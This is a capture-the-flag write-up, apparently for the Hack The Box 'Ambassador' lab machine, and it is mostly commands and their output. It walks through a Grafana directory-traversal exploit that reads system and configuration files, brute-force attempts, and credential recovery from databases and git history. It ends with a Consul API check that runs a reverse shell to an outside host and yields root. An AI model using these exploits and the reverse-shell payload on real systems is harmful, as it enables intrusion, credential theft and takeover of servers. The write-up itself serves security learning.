Recon
NMAP scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ambassador Development Server
3000/tcp open ppp? syn-ack
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
3306/tcp open nagios-nsca syn-ack Nagios NSCA
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 11
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, SupportsTransactions, LongPassword, FoundRows, LongColumnFlag, SupportsCompression, IgnoreSigpipes, SwitchToSSLAfterHandshake, ODBCClient, IgnoreSpaceBeforeParenthesis, InteractiveClient, ConnectWithDatabase, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: ^\x7F\x19\x13b
| ,FY\x07.ZxlY\x039<HG
|_ Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
We face a Linux server (Ubuntu) with an Apache web server. Using Wappalyzer we found that the website is build using the Hugo Framework v0.94.2 and **Apache v2.4.41.
There is some interesting open ports:
- 22: SSH server
- 80: HTTP server
- 3000: ?
- 3306: MySQL server
As Floppy.sh is build from Hugo, I know that there is some known page:
- /posts/
- /tags/
- /categories/
As Hugo is a templating model, maybe there is some injection vulnerabilities.
We found an article at http://10.10.11.183/posts/welcome-to-the-ambassador-development-server/.
This one says that there is a developer
account that can login into the SSH server. It says that the password is given by the DevOps.
Browsing at http://10.10.11.183:3000, we face a Grafana login page.
Busting directories
I used dirbuster to try to find some pages and directories.
I found a /server-status/
directory. We get a 403 code on it, we can’t access the ressource.
Path to the user
Default credentials
- MySQL server
First, I tried to connect into the mysql server with default credentials (root:
).
1
2
|
└─$ mysql -h 10.10.11.183 -u root
ERROR 1045 (28000): Access denied for user 'root'@'10.10.16.11' (using password: NO)
|
As expected, the account is password protected.
- Grafana login page
I tried some default grafana credentials but like the MySQL, I couldn’t find any valid credentials.
Bruteforcing services
- SSH server
As we got the name of the SSH user (developer
), I tried to bruteforce the service using Hydra or the Metasploit console.
1
2
3
4
5
6
7
8
|
msf6 > auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set username developer
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE password.txt
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 10.10.11.183:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
|
I was not able to find any valid password :(
- Grafana login page
I tried to bruteforce the login page of the Grafana using ffuf, with developer
& admin
users.
1
|
└─$ ffuf -w password.txt -u "http://10.10.11.183:3000/login" -d '{"user":"developer","password":"FUZZ"}'
|
- MySQL server
1
|
└─$ hydra -l developer -P /usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt 10.10.11.183 mysql
|
Grafana service
I found that Grafana version is v8.2.0. Checking with searchsploit
we found that there is a vulnerability on the Grafana service in v8.3.0.
1
2
3
4
5
6
7
|
└─$ searchsploit grafana
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
----------------------------------------------------------------------------------- ---------------------------------
|
<https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/
Trying the exploit and…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
└─$ python3 50581.py -H http://10.10.11.183:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
|
We can read files on the server throught LFI !
Finding credentials
First, I checked some commons files:
- SSH keys:
/home/developer/.ssh/id_rsa
- Bash history:
/home/developer/.bash_history
- MySQL config file:
/etc/my.cnf
But I didn’t find any useful informations. Then I checked if their is a config file for grafana.
1
2
3
4
5
6
7
8
9
10
11
|
Read file > /etc/grafana/grafana.ini
[...]
# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = messageInABottle685427
# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
|
I found some credentials on the config file: admin:messageInABottle685427
. Trying those on the login page and… we are in!
We found a MySQL datasource loaded in Grafana. We can see login information to the grafana
database using grafana
as user without password.
But we can’t get the password here. So, I managed to get the grafana database file throught LFI. The file is under /var/lib/grafana/grafana.db
.
Reading the data_source
table we can get the passord of the user grafana
.
1
2
|
sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2022-11-02 10:47:07|0|{}|1|uKewFgM4z
|
Credentials are grafana:dontStandSoCloseToMe63221!
. We can now connect into the MySQL server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
└─$ mysql -h 10.10.11.183 -u grafana --password=dontStandSoCloseToMe63221!
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 87
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [mysql]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
|
We found a weird database whackywidget
then, a users
table with the password of the user developer
base64 encoded. We can now access the SSH server !
1
2
3
4
5
6
7
8
9
10
11
12
|
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
└─$ echo -e "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" |base64 -d
anEnglishManInNewYork027468
developer@ambassador:~$ cat user.txt
**************************dbe2a3
|
We can get the user flag :)
Path to the privesc
Local recon
First, I tried to list privilege of developer
but the user can’t use the sudo command.
1
2
3
|
developer@ambassador:~$ sudo -l
[sudo] password for developer:
Sorry, user developer may not run sudo on ambassador.
|
We found that there is the lxd
package that have been installed using snap at /home/developer/snap/lxd
. But trying to execute the command, we get a permission denied.
1
2
|
developer@ambassador:/opt$ lxc image list
Error: Get "http://unix.socket/1.0": dial unix /var/snap/lxd/common/lxd/unix.socket: connect: permission denied
|
We find 2 directories in /opt
. The 2 projects are consul
& my-app
.
1
2
3
4
5
6
|
developer@ambassador:/opt$ ll
total 16
drwxr-xr-x 4 root root 4096 Sep 1 22:13 ./
drwxr-xr-x 20 root root 4096 Sep 15 17:24 ../
drwxr-xr-x 6 consul consul 4096 Nov 2 15:34 consul/
drwxrwxr-x 5 root root 4096 Mar 13 2022 my-app/
|
The first one, consul, is a networking service of HashiCorp “that enables teams to manage secure network connectivity between services and across multi-cloud environments and runtimes”.
Consul service
Trying a random Consul’s command we get a permission denied.
1
2
|
developer@ambassador:/opt/my-app$ consul info
Error querying agent: Unexpected response code: 403 (Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'agent:read' on "ambassador")
|
The other directory contains an app called whackywidget
. We found two scripts on it. One is a shell script that put the content of $MYSQL_PASSWORD
into consul database.
1
2
3
4
5
|
developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
|
The kv
subcommand of consul
is used to interact with Consul’s key store. To interact with the database we need to have MYSQL_PASSWORD and CONSUL_HTTP_TOKEN. But actually they are empty.
Checking git log
we found some commit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
|
I check changes of the second commit (config script) and I found the Consul’s Token on the /my-app/whackywidget/put-config-in-consul.sh
shell script.
1
2
3
4
5
6
7
8
9
10
11
12
|
└─$ git diff c982db8eff6f10f8f3a7d802f79f2705e7a21b55
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
|
We get the consul’s http token: CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
. I tried to get values of the database using that token.
1
|
developer@ambassador:/opt/my-app$ consul kv get --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw
|
I get an empty output. We can export the database with the export
subcommand.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
developer@ambassador:/opt/my-app$ consul kv export --token bb03b43b-1d81-d62b-24b5-39540ee469b5
[
{
"key": "test",
"flags": 0,
"value": "aGVsbG8="
},
{
"key": "whackywidget/db/mysql_pw",
"flags": 0,
"value": ""
}
]
|
We find the key test with the base64 encoded value aGVsbG8= that correspond to hello. But the whackywidget/db/mysql_pw
key is empty.
Exploiting Consul API
We know that we have an access to the Consul’s API with the token. So, I managed to search for exploit on github. I found an exploit that allows RCE from the Hashicorp Consul’s API.
The exploit is pretty simple. It allows to register an new service gato
to the Consul’s API. We inject a reverse shell on the check
key.
1
2
3
4
5
6
7
8
9
10
11
|
{
"Address": "127.0.0.1",
"check": {
"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/10.10.16.11/4444 0>&1"],
"interval": "10s",
"Timeout": "864000s"
},
"ID": "gato",
"Name": "gato",
"Port": 80
}
|
The API will execute args put in the check
key. So, we just have to open a listener and execute the query.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
developer@ambassador:/tmp$ python3 e.py localhost 8500 10.10.16.11 4444 bb03b43b-1d81-d62b-24b5-39540ee469b5
[+] Request sent successfully, check your listener
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.183] 55624
bash: cannot set terminal process group (104537): Inappropriate ioctl for device
bash: no job control in this shell
root@ambassador:/# cat /root/root.txt
*************************268f8e2
|
We get a root shell after the execution of the exploit. We can get the root flag :)